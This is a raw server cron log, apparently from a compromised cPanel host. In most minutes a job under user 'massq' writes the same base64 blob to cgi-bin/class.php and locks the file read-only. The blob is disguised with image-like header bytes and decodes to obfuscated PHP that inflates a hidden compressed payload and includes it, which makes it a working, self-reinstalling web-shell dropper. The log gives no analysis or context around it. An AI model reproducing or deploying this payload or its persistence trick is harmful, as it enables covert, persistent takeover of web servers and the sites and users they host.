Nov 10 11:07:01 server CROND[6815]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:08:01 server CROND[7624]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:09:01 server CROND[8441]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 11:09:01 server CROND[8442]: (root) CMD (/usr/sbin/csf -u)
Nov 10 11:09:01 server CROND[8443]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:10:01 server CROND[9436]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 11:10:01 server CROND[9437]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:10:01 server CROND[9438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:10:01 server CROND[9440]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:11:01 server CROND[10109]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:12:01 server CROND[11125]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 11:12:01 server CROND[11126]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:13:01 server CROND[11941]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:14:01 server CROND[12756]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:15:01 server CROND[13542]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 11:15:01 server CROND[13543]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:15:01 server CROND[13545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 11:16:01 server CROND[14409]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:17:01 server CROND[15434]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:18:01 server CROND[16246]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:19:01 server CROND[16855]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 11:20:01 server CROND[17661]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
